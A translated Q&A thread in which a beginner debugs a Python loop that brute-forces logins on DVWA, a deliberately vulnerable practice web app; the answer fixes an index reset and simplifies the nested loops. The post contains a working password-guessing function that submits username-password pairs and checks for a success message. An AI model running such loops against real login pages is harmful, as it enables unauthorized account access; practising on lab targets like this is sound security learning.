【问题标题】:Python loop for dvwa bruteforce [closed]dvwa bruteforce 的 Python 循环 [关闭]
【发布时间】:2020-09-08 02:06:52
【问题描述】:

试图让用户:在 python 中通过 bruteforce 进行 dvwa 练习

我想要做什么:

我在一个列表中有 10 个密码和 10 个用户名[]

循环应该使用一个用户名并尝试所有 10 个密码,然后是第二个用户名并执行相同操作

这是我正在使用的代码

u=0
p=0
try:
    while True:
        for _ in usernames:
            user = usernames[u]
            u+=1
            for _ in passwords:
                passwd = passwords[p]
                brute(user, passwd)
                print("trying password on %s : %s " % (user, passwd), end="\r")
                p+=1
except IndexError:
            pass

在第一个用户名上尝试所有密码后停止并结束程序。

我在这里做错了什么? ,向新手程序员道歉

蛮力功能

def brute(user, passwd):
    hit = session.get(target + 'vulnerabilities/brute/?username=%s&password=%s&Login=Login' % (user, passwd))
    soup = BeautifulSoup(hit.text, 'html.parser')
    if str(soup.p) == "<p>Welcome to the password protected area admin</p>":
        print('login success =>')
        return True
    return False

【问题讨论】:

    标签: python python-3.x list for-loop while-loop


    【解决方案1】:

    您忘记在密码循环之前设置p=0。因此,它在第二个用户和第一个密码的迭代中给出了IndexError。

    顺便说一句,您的代码可以简化为:

    for username in usernames:
        for password in passwords:
            print("trying password on %s : %s " % (username, password), end="\r")
            brute(username, password)
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2021-08-14
      • 2018-08-12
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2012-11-03
      • 2018-08-15
      • 2020-05-27
      相关资源
      最近更新 更多